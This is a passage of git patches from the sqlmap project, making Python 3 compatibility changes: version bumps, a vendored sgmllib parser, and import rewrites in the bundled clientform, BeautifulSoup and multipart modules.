https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py +def choose_boundary(): + return uuid.uuid4().hex \ No newline at end of file diff --git a/lib/core/patch.py b/lib/core/patch.py index 4cb018051ea..0dd3e4a4172 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -24,3 +24,11 @@ def dirtyPatches(): # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) + + # Reference: http://bugs.python.org/issue17849 + if hasattr(_http_client, "LineAndFileWrapper"): + def _(self, *args): + return self._readline() + + _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline + _http_client.LineAndFileWrapper.readline = _ diff --git a/lib/core/settings.py b/lib/core/settings.py index df16b96a422..63fe97f98f5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.61" +VERSION = "1.3.3.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 1c66b993cfe..dcb71abb0c2 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -97,11 +97,3 @@ def create_sock(): class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) - -# Bug fix (http://bugs.python.org/issue17849) - -def _(self, *args): - return self._readline() - -_http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline -_http_client.LineAndFileWrapper.readline = _ diff --git a/lib/utils/har.py b/lib/utils/har.py index 08b0464c7cf..cd165caa4af 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -6,7 +6,6 @@ """ import base64 -import BaseHTTPServer import datetime import io import re @@ -14,6 +13,7 @@ from lib.core.bigarray import BigArray from lib.core.settings import VERSION +from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ @@ -207,7 +207,7 @@ def __init__(self, response_text): def makefile(self, *args, **kwargs): return self._file -class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler): +class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler): # Original source: # https://stackoverflow.com/questions/4685217/parse-raw-http-headers diff --git a/lib/utils/sgmllib.py b/lib/utils/sgmllib.py new file mode 100644 index 00000000000..2275297890b --- /dev/null +++ b/lib/utils/sgmllib.py @@ -0,0 +1,551 @@ +"""A parser for SGML, using the derived class as a static DTD.""" + +# Note: missing in Python3 + +# XXX This only supports those SGML features used by HTML. + +# XXX There should be a way to distinguish between PCDATA (parsed +# character data -- the normal case), RCDATA (replaceable character +# data -- only char and entity references and end tags are special) +# and CDATA (character data -- only end tags are special). RCDATA is +# not supported at all. + +from __future__ import print_function + +import _markupbase +import re + +__all__ = ["SGMLParser", "SGMLParseError"] + +# Regular expressions used for parsing + +interesting = re.compile('[&<]') +incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' + '<([a-zA-Z][^<>]*|' + '/([a-zA-Z][^<>]*)?|' + '![^<>]*)?') + +entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') +charref = re.compile('&#([0-9]+)[^0-9]') + +starttagopen = re.compile('<[>a-zA-Z]') +shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') +shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') +piclose = re.compile('>') +endbracket = re.compile('[<>]') +tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') +attrfind = re.compile( + r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' + r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') + + +class SGMLParseError(RuntimeError): + """Exception raised for all parse errors.""" + pass + + +# SGML parser base class -- find tags and call handler functions. +# Usage: p = SGMLParser(); p.feed(data); ...; p.close(). +# The dtd is defined by deriving a class which defines methods +# with special names to handle tags: start_foo and end_foo to handle +# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself. +# (Tags are converted to lower case for this purpose.) The data +# between tags is passed to the parser by calling self.handle_data() +# with some data as argument (the data may be split up in arbitrary +# chunks). Entity references are passed by calling +# self.handle_entityref() with the entity reference as argument. + +class SGMLParser(_markupbase.ParserBase): + # Definition of entities -- derived classes may override + entity_or_charref = re.compile('&(?:' + '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' + ')(;?)') + + def __init__(self, verbose=0): + """Initialize and reset this instance.""" + self.verbose = verbose + self.reset() + + def reset(self): + """Reset this instance. Loses all unprocessed data.""" + self.__starttag_text = None + self.rawdata = '' + self.stack = [] + self.lasttag = '???' + self.nomoretags = 0 + self.literal = 0 + _markupbase.ParserBase.reset(self) + + def setnomoretags(self): + """Enter literal mode (CDATA) till EOF. + + Intended for derived classes only. + """ + self.nomoretags = self.literal = 1 + + def setliteral(self, *args): + """Enter literal mode (CDATA). + + Intended for derived classes only. + """ + self.literal = 1 + + def feed(self, data): + """Feed some data to the parser. + + Call this as often as you want, with as little or as much text + as you want (may include '\n'). (This just saves the text, + all the processing is done by goahead().) + """ + + self.rawdata = self.rawdata + data + self.goahead(0) + + def close(self): + """Handle the remaining data.""" + self.goahead(1) + + def error(self, message): + raise SGMLParseError(message) + + # Internal -- handle data as far as reasonable. May leave state + # and data to be processed by a subsequent call. If 'end' is + # true, force handling all data as if followed by EOF marker. + def goahead(self, end): + rawdata = self.rawdata + i = 0 + n = len(rawdata) + while i < n: + if self.nomoretags: + self.handle_data(rawdata[i:n]) + i = n + break + match = interesting.search(rawdata, i) + if match: j = match.start() + else: j = n + if i < j: + self.handle_data(rawdata[i:j]) + i = j + if i == n: break + if rawdata[i] == '<': + if starttagopen.match(rawdata, i): + if self.literal: + self.handle_data(rawdata[i]) + i = i+1 + continue + k = self.parse_starttag(i) + if k < 0: break + i = k + continue + if rawdata.startswith("</", i): + k = self.parse_endtag(i) + if k < 0: break + i = k + self.literal = 0 + continue + if self.literal: + if n > (i + 1): + self.handle_data("<") + i = i+1 + else: + # incomplete + break + continue + if rawdata.startswith("<!--", i): + # Strictly speaking, a comment is --.*-- + # within a declaration tag <!...>. + # This should be removed, + # and comments handled only in parse_declaration. + k = self.parse_comment(i) + if k < 0: break + i = k + continue + if rawdata.startswith("<?", i): + k = self.parse_pi(i) + if k < 0: break + i = i+k + continue + if rawdata.startswith("<!", i): + # This is some sort of declaration; in "HTML as + # deployed," this should only be the document type + # declaration ("<!DOCTYPE html...>"). + k = self.parse_declaration(i) + if k < 0: break + i = k + continue + elif rawdata[i] == '&': + if self.literal: + self.handle_data(rawdata[i]) + i = i+1 + continue + match = charref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_charref(name) + i = match.end(0) + if rawdata[i-1] != ';': i = i-1 + continue + match = entityref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_entityref(name) + i = match.end(0) + if rawdata[i-1] != ';': i = i-1 + continue + else: + self.error('neither < nor & ??') + # We get here only if incomplete matches but + # nothing else + match = incomplete.match(rawdata, i) + if not match: + self.handle_data(rawdata[i]) + i = i+1 + continue + j = match.end(0) + if j == n: + break # Really incomplete + self.handle_data(rawdata[i:j]) + i = j + # end while + if end and i < n: + self.handle_data(rawdata[i:n]) + i = n + self.rawdata = rawdata[i:] + # XXX if end: check for empty stack + + # Extensions for the DOCTYPE scanner: + _decl_otherchars = '=' + + # Internal -- parse processing instr, return length or -1 if not terminated + def parse_pi(self, i): + rawdata = self.rawdata + if rawdata[i:i+2] != '<?': + self.error('unexpected call to parse_pi()') + match = piclose.search(rawdata, i+2) + if not match: + return -1 + j = match.start(0) + self.handle_pi(rawdata[i+2: j]) + j = match.end(0) + return j-i + + def get_starttag_text(self): + return self.__starttag_text + + # Internal -- handle starttag, return length or -1 if not terminated + def parse_starttag(self, i): + self.__starttag_text = None + start_pos = i + rawdata = self.rawdata + if shorttagopen.match(rawdata, i): + # SGML shorthand: <tag/data/ == <tag>data</tag> + # XXX Can data contain &... (entity or char refs)? + # XXX Can data contain < or > (tag characters)? + # XXX Can there be whitespace before the first /? + match = shorttag.match(rawdata, i) + if not match: + return -1 + tag, data = match.group(1, 2) + self.__starttag_text = '<%s/' % tag + tag = tag.lower() + k = match.end(0) + self.finish_shorttag(tag, data) + self.__starttag_text = rawdata[start_pos:match.end(1) + 1] + return k + # XXX The following should skip matching quotes (' or ") + # As a shortcut way to exit, this isn't so bad, but shouldn't + # be used to locate the actual end of the start tag since the + # < or > characters may be embedded in an attribute value. + match = endbracket.search(rawdata, i+1) + if not match: + return -1 + j = match.start(0) + # Now parse the data between i+1 and j into a tag and attrs + attrs = [] + if rawdata[i:i+2] == '<>': + # SGML shorthand: <> == <last open tag seen> + k = j + tag = self.lasttag + else: + match = tagfind.match(rawdata, i+1) + if not match: + self.error('unexpected call to parse_starttag') + k = match.end(0) + tag = rawdata[i+1:k].lower() + self.lasttag = tag + while k < j: + match = attrfind.match(rawdata, k) + if not match: break + attrname, rest, attrvalue = match.group(1, 2, 3) + if not rest: + attrvalue = attrname + else: + if (attrvalue[:1] == "'" == attrvalue[-1:] or + attrvalue[:1] == '"' == attrvalue[-1:]): + # strip quotes + attrvalue = attrvalue[1:-1] + attrvalue = self.entity_or_charref.sub( + self._convert_ref, attrvalue) + attrs.append((attrname.lower(), attrvalue)) + k = match.end(0) + if rawdata[j] == '>': + j = j+1 + self.__starttag_text = rawdata[start_pos:j] + self.finish_starttag(tag, attrs) + return j + + # Internal -- convert entity or character reference + def _convert_ref(self, match): + if match.group(2): + return self.convert_charref(match.group(2)) or \ + '&#%s%s' % match.groups()[1:] + elif match.group(3): + return self.convert_entityref(match.group(1)) or \ + '&%s;' % match.group(1) + else: + return '&%s' % match.group(1) + + # Internal -- parse endtag + def parse_endtag(self, i): + rawdata = self.rawdata + match = endbracket.search(rawdata, i+1) + if not match: + return -1 + j = match.start(0) + tag = rawdata[i+2:j].strip().lower() + if rawdata[j] == '>': + j = j+1 + self.finish_endtag(tag) + return j + + # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>) + def finish_shorttag(self, tag, data): + self.finish_starttag(tag, []) + self.handle_data(data) + self.finish_endtag(tag) + + # Internal -- finish processing of start tag + # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag + def finish_starttag(self, tag, attrs): + try: + method = getattr(self, 'start_' + tag) + except AttributeError: + try: + method = getattr(self, 'do_' + tag) + except AttributeError: + self.unknown_starttag(tag, attrs) + return -1 + else: + self.handle_starttag(tag, method, attrs) + return 0 + else: + self.stack.append(tag) + self.handle_starttag(tag, method, attrs) + return 1 + + # Internal -- finish processing of end tag + def finish_endtag(self, tag): + if not tag: + found = len(self.stack) - 1 + if found < 0: + self.unknown_endtag(tag) + return + else: + if tag not in self.stack: + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + self.unknown_endtag(tag) + else: + self.report_unbalanced(tag) + return + found = len(self.stack) + for i in range(found): + if self.stack[i] == tag: found = i + while len(self.stack) > found: + tag = self.stack[-1] + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + method = None + if method: + self.handle_endtag(tag, method) + else: + self.unknown_endtag(tag) + del self.stack[-1] + + # Overridable -- handle start tag + def handle_starttag(self, tag, method, attrs): + method(attrs) + + # Overridable -- handle end tag + def handle_endtag(self, tag, method): + method() + + # Example -- report an unbalanced </...> tag. + def report_unbalanced(self, tag): + if self.verbose: + print('*** Unbalanced </' + tag + '>') + print('*** Stack:', self.stack) + + def convert_charref(self, name): + """Convert character reference, may be overridden.""" + try: + n = int(name) + except ValueError: + return + if not 0 <= n <= 127: + return + return self.convert_codepoint(n) + + def convert_codepoint(self, codepoint): + return chr(codepoint) + + def handle_charref(self, name): + """Handle character reference, no need to override.""" + replacement = self.convert_charref(name) + if replacement is None: + self.unknown_charref(name) + else: + self.handle_data(replacement) + + # Definition of entities -- derived classes may override + entitydefs = \ + {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} + + def convert_entityref(self, name): + """Convert entity references. + + As an alternative to overriding this method; one can tailor the + results by setting up the self.entitydefs mapping appropriately. + """ + table = self.entitydefs + if name in table: + return table[name] + else: + return + + def handle_entityref(self, name): + """Handle entity references, no need to override.""" + replacement = self.convert_entityref(name) + if replacement is None: + self.unknown_entityref(name) + else: + self.handle_data(replacement) + + # Example -- handle data, should be overridden + def handle_data(self, data): + pass + + # Example -- handle comment, could be overridden + def handle_comment(self, data): + pass + + # Example -- handle declaration, could be overridden + def handle_decl(self, decl): + pass + + # Example -- handle processing instruction, could be overridden + def handle_pi(self, data): + pass + + # To be overridden -- handlers for unknown objects + def unknown_starttag(self, tag, attrs): pass + def unknown_endtag(self, tag): pass + def unknown_charref(self, ref): pass + def unknown_entityref(self, ref): pass + + +class TestSGMLParser(SGMLParser): + + def __init__(self, verbose=0): + self.testdata = "" + SGMLParser.__init__(self, verbose) + + def handle_data(self, data): + self.testdata = self.testdata + data + if len(repr(self.testdata)) >= 70: + self.flush() + + def flush(self): + data = self.testdata + if data: + self.testdata = "" + print('data:', repr(data)) + + def handle_comment(self, data): + self.flush() + r = repr(data) + if len(r) > 68: + r = r[:32] + '...' + r[-32:] + print('comment:', r) + + def unknown_starttag(self, tag, attrs): + self.flush() + if not attrs: + print('start tag: <' + tag + '>') + else: + print('start tag: <' + tag, end=' ') + for name, value in attrs: + print(name + '=' + '"' + value + '"', end=' ') + print('>') + + def unknown_endtag(self, tag): + self.flush() + print('end tag: </' + tag + '>') + + def unknown_entityref(self, ref): + self.flush() + print('*** unknown entity ref: &' + ref + ';') + + def unknown_charref(self, ref): + self.flush() + print('*** unknown char ref: &#' + ref + ';') + + def unknown_decl(self, data): + self.flush() + print('*** unknown decl: [' + data + ']') + + def close(self): + SGMLParser.close(self) + self.flush() + + +def test(args = None): + import sys + + if args is None: + args = sys.argv[1:] + + if args and args[0] == '-s': + args = args[1:] + klass = SGMLParser + else: + klass = TestSGMLParser + + if args: + file = args[0] + else: + file = 'test.html' + + if file == '-': + f = sys.stdin + else: + try: + f = open(file, 'r') + except IOError as msg: + print(file, ":", msg) + sys.exit(1) + + data = f.read() + if f is not sys.stdin: + f.close() + + x = klass() + for c in data: + x.feed(c) + x.close() + + +if __name__ == '__main__': + test() \ No newline at end of file diff --git a/thirdparty/clientform/__init__.py b/thirdparty/clientform/__init__.py index 8e67f4348f8..e69de29bb2d 100644 --- a/thirdparty/clientform/__init__.py +++ b/thirdparty/clientform/__init__.py @@ -1,19 +0,0 @@ -#!/usr/bin/env python2 -# -# Copyright 2007-2008 David McNab -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -pass diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index f712755c0b8..a8c9196be22 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -93,11 +93,22 @@ def _show_debug_messages(): handler.setLevel(logging.DEBUG) _logger.addHandler(handler) -import sys, urllib, urllib2, types, mimetools, copy, urlparse, \ - htmlentitydefs, re, random -from cStringIO import StringIO +try: + from six.moves import cStringIO as _cStringIO + from six.moves import urllib as _html_entities + from six.moves import urllib as _urllib +except ImportError: + from thirdparty.six.moves import cStringIO as _cStringIO + from thirdparty.six.moves import http_client as _html_entities + from thirdparty.six.moves import urllib as _urllib + +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +import sys, types, copy, re, random -import sgmllib # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") @@ -174,20 +185,20 @@ def urlencode(query,doseq=False,): if not doseq: # preserve old behavior for k, v in query: - k = urllib.quote_plus(str(k)) - v = urllib.quote_plus(str(v)) + k = _urllib.parse.quote_plus(str(k)) + v = _urllib.parse.quote_plus(str(v)) l.append(k + '=' + v) else: for k, v in query: - k = urllib.quote_plus(str(k)) + k = _urllib.parse.quote_plus(str(k)) if type(v) == types.StringType: - v = urllib.quote_plus(v) + v = _urllib.parse.quote_plus(v) l.append(k + '=' + v) elif type(v) == types.UnicodeType: # is there a reasonable way to convert to ASCII? # encode generates a string, but "replace" or "ignore" # lose information and "strict" can raise UnicodeError - v = urllib.quote_plus(v.encode("ASCII","replace")) + v = _urllib.parse.quote_plus(v.encode("ASCII","replace")) l.append(k + '=' + v) else: try: @@ -195,12 +206,12 @@ def urlencode(query,doseq=False,): x = len(v) except TypeError: # not a sequence - v = urllib.quote_plus(str(v)) + v = _urllib.parse.quote_plus(str(v)) l.append(k + '=' + v) else: # loop over the sequence for elt in v: - l.append(k + '=' + urllib.quote_plus(str(elt))) + l.append(k + '=' + _urllib.parse.quote_plus(str(elt))) return '&'.join(l) def unescape(data, entities, encoding=DEFAULT_ENCODING): @@ -243,20 +254,19 @@ def unescape_charref(data, encoding): return repl def get_entitydefs(): - import htmlentitydefs from codecs import latin_1_decode entitydefs = {} try: - htmlentitydefs.name2codepoint + _html_entities.name2codepoint except AttributeError: entitydefs = {} - for name, char in htmlentitydefs.entitydefs.items(): + for name, char in _html_entities.entitydefs.items(): uc = latin_1_decode(char)[0] if uc.startswith("&#") and uc.endswith(";"): uc = unescape_charref(uc[2:-1], None) entitydefs["&%s;" % name] = uc else: - for name, codepoint in htmlentitydefs.name2codepoint.items(): + for name, codepoint in _html_entities.name2codepoint.items(): entitydefs["&%s;" % name] = unichr(codepoint) return entitydefs @@ -927,14 +937,14 @@ class NestingRobustFormParser(_AbstractBSFormParser, icbinbs): def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, - request_class=urllib2.Request, + request_class=_urllib.request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private - _urljoin=urlparse.urljoin, - _urlparse=urlparse.urlparse, - _urlunparse=urlparse.urlunparse, + _urljoin=_urllib.parse.urljoin, + _urlparse=_urllib.parse.urlparse, + _urlunparse=_urllib.parse.urlunparse, ): """Identical to ParseResponse, except that: @@ -961,14 +971,14 @@ def ParseResponseEx(response, def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, - request_class=urllib2.Request, + request_class=_urllib.request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private - _urljoin=urlparse.urljoin, - _urlparse=urlparse.urlparse, - _urlunparse=urlparse.urlunparse, + _urljoin=_urllib.parse.urljoin, + _urlparse=_urllib.parse.urlparse, + _urlunparse=_urllib.parse.urlunparse, ): """Identical to ParseFile, except that: @@ -1006,7 +1016,7 @@ def ParseResponse(response, *args, **kwds): pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is - urllib2.Request) + _urllib.request.Request) entitydefs: mapping like {"&": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references @@ -1074,13 +1084,13 @@ def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, - request_class=urllib2.Request, + request_class=_urllib.request.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, - _urljoin=urlparse.urljoin, - _urlparse=urlparse.urlparse, - _urlunparse=urlparse.urlunparse, + _urljoin=_urllib.parse.urljoin, + _urlparse=_urllib.parse.urlparse, + _urlunparse=_urllib.parse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode", 1) @@ -1316,8 +1326,8 @@ def __init__(self, type, name, attrs, index=None): self._clicked = False - self._urlparse = urlparse.urlparse - self._urlunparse = urlparse.urlunparse + self._urlparse = _urllib.parse.urlparse + self._urlunparse = _urllib.parse.urlunparse def __getattr__(self, name): if name == "value": @@ -1437,7 +1447,7 @@ def _write_mime_data(self, mw, _name, _value): # assert _name == self.name and _value == '' if len(self._upload_data) < 2: if len(self._upload_data) == 0: - file_object = StringIO() + file_object = _cStringIO() content_type = "application/octet-stream" filename = "" else: @@ -1515,7 +1525,7 @@ class IsindexControl(ScalarControl): ISINDEX elements outside of FORMs are ignored. If you want to submit one by hand, do it like so: - url = urlparse.urljoin(page_uri, "?"+urllib.quote_plus("my isindex value")) + url = _urllib.parse.urljoin(page_uri, "?"+_urllib.parse.quote_plus("my isindex value")) result = urllib2.urlopen(url) """ @@ -1529,7 +1539,7 @@ def is_of_kind(self, kind): return kind in ["text", "clickable"] def _totally_ordered_pairs(self): return [] - def _click(self, form, coord, return_type, request_class=urllib2.Request): + def _click(self, form, coord, return_type, request_class=_urllib.request.Request): # Relative URL for ISINDEX submission: instead of "foo=bar+baz", # want "bar+baz". # This doesn't seem to be specified in HTML 4.01 spec. (ISINDEX is @@ -1537,7 +1547,7 @@ def _click(self, form, coord, return_type, request_class=urllib2.Request): # Submission of ISINDEX is explained in the HTML 3.2 spec, though. parts = self._urlparse(form.action) rest, (query, frag) = parts[:-2], parts[-2:] - parts = rest + (urllib.quote_plus(self.value), None) + parts = rest + (_urllib.parse.quote_plus(self.value), None) url = self._urlunparse(parts) req_data = url, None, [] @@ -2456,7 +2466,7 @@ def get_labels(self): def is_of_kind(self, kind): return kind == "clickable" - def _click(self, form, coord, return_type, request_class=urllib2.Request): + def _click(self, form, coord, return_type, request_class=_urllib.request.Request): self._clicked = coord r = form._switch_click(return_type, request_class) self._clicked = False @@ -2752,7 +2762,7 @@ def find_control(self, def __init__(self, action, method="GET", enctype=None, name=None, attrs=None, - request_class=urllib2.Request, + request_class=_urllib.request.Request, forms=None, labels=None, id_to_labels=None, backwards_compat=True): """ @@ -2784,8 +2794,8 @@ def __init__(self, action, method="GET", self.backwards_compat = backwards_compat # note __setattr__ - self._urlunparse = urlparse.urlunparse - self._urlparse = urlparse.urlparse + self._urlunparse = _urllib.parse.urlunparse + self._urlparse = _urllib.parse.urlparse def __getattr__(self, name): if name == "backwards_compat": @@ -3083,11 +3093,11 @@ def add_file(self, file_object, content_type=None, filename=None, # Form submission methods, applying only to clickable controls. def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), - request_class=urllib2.Request, + request_class=_urllib.request.Request, label=None): """Return request that would result from clicking on a control. - The request object is a urllib2.Request instance, which you can pass to + The request object is a _urllib.request.Request instance, which you can pass to urllib2.urlopen (or ClientCookie.urlopen). Only some control types (INPUT/SUBMIT & BUTTON/SUBMIT buttons and @@ -3112,7 +3122,7 @@ def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), def click_request_data(self, name=None, type=None, id=None, nr=0, coord=(1,1), - request_class=urllib2.Request, + request_class=_urllib.request.Request, label=None): """As for click method, but return a tuple (url, data, headers). @@ -3124,14 +3134,14 @@ def click_request_data(self, # instead! import urllib url, data, hdrs = form.click_request_data() - r = urllib.urlopen(url, data) + r = _urllib.request.urlopen(url, data) # Untested. I don't know of any reason to use httplib -- you can get # just as much control with urllib2. import httplib, urlparse url, data, hdrs = form.click_request_data() tup = urlparse(url) - host, path = tup[1], urlparse.urlunparse((None, None)+tup[2:]) + host, path = tup[1], _urllib.parse.urlunparse((None, None)+tup[2:]) conn = httplib.HTTPConnection(host) if data: httplib.request("POST", path, data, hdrs) @@ -3303,7 +3313,7 @@ def _find_control(self, name, type, kind, id, label, predicate, nr): assert False def _click(self, name, type, id, label, nr, coord, return_type, - request_class=urllib2.Request): + request_class=_urllib.request.Request): try: control = self._find_control( name, type, "clickable", id, label, None, nr) @@ -3342,7 +3352,7 @@ def _pairs_and_controls(self): def _request_data(self): """Return a tuple (url, data, headers).""" method = self.method.upper() - #scheme, netloc, path, parameters, query, frag = urlparse.urlparse(self.action) + #scheme, netloc, path, parameters, query, frag = _urllib.parse.urlparse(self.action) parts = self._urlparse(self.action) rest, (query, frag) = parts[:-2], parts[-2:] @@ -3361,7 +3371,7 @@ def _request_data(self): return (uri, self._pairs(), [("Content-Type", self.enctype)]) elif self.enctype == "multipart/form-data": - data = StringIO() + data = _cStringIO() http_hdrs = [] mw = MimeWriter(data, http_hdrs) f = mw.startmultipartbody("form-data", add_to_http_hdrs=True, @@ -3376,7 +3386,7 @@ def _request_data(self): else: raise ValueError("Unknown method '%s'" % method) - def _switch_click(self, return_type, request_class=urllib2.Request): + def _switch_click(self, return_type, request_class=_urllib.request.Request): # This is called by HTMLForm and clickable Controls to hide switching # on return_type. if return_type == "pairs": diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index ac0f13ec7a2..61a3144a617 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -29,9 +29,9 @@ import urllib import urllib2 +from lib.core.compat import choose_boundary from lib.core.exception import SqlmapDataException - class Callable: def __init__(self, anycallable): self.__call__ = anycallable @@ -75,7 +75,7 @@ def http_request(self, request): def multipart_encode(vars, files, boundary=None, buf=None): if boundary is None: - boundary = mimetools.choose_boundary() + boundary = choose_boundary() if buf is None: buf = "" From 73562930075f3d10c5bb12c710513bab8417dd06 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 17:19:16 +0100 Subject: [PATCH 187/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 40 ++++++++++------ thirdparty/keepalive/keepalive.py | 56 +++++++++++------------ 3 files changed, 54 insertions(+), 44 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 63fe97f98f5..ed49fcef64f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.62" +VERSION = "1.3.3.63" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 6d6fe66d57a..b6910f27cba 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -77,18 +77,17 @@ """ from __future__ import generators +from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" __version__ = "3.2.1" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" -from sgmllib import SGMLParser, SGMLParseError import codecs -import markupbase import types import re -import sgmllib + try: from htmlentitydefs import name2codepoint except ImportError: @@ -98,6 +97,16 @@ except NameError: from sets import Set as set +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +try: + import markupbase +except ImportError: + import _markupbase as markupbase + #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match @@ -559,10 +568,11 @@ def __init__(self, parser, name, attrs=None, parent=None, self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. - convert = lambda (k, val): (k, - re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", - self._convertEntities, - val)) + # Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8 + convert = lambda k_val: (k_val[0], + re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", + self._convertEntities, + k_val[1])) self.attrs = map(convert, self.attrs) def getString(self): @@ -1040,7 +1050,7 @@ def buildTagMap(default, *args): # Now, the parser classes. -class BeautifulStoneSoup(Tag, SGMLParser): +class BeautifulStoneSoup(Tag, sgmllib.SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the @@ -1141,7 +1151,7 @@ class has some tricks for dealing with some HTML that kills self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) - SGMLParser.__init__(self) + sgmllib.SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() @@ -1190,7 +1200,7 @@ def _feed(self, inDocumentEncoding=None, isHTML=False): del(self.markupMassage) self.reset() - SGMLParser.feed(self, markup) + sgmllib.SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: @@ -1203,7 +1213,7 @@ def __getattr__(self, methodName): if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): - return SGMLParser.__getattr__(self, methodName) + return sgmllib.SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: @@ -1218,7 +1228,7 @@ def isSelfClosingTag(self, name): def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) 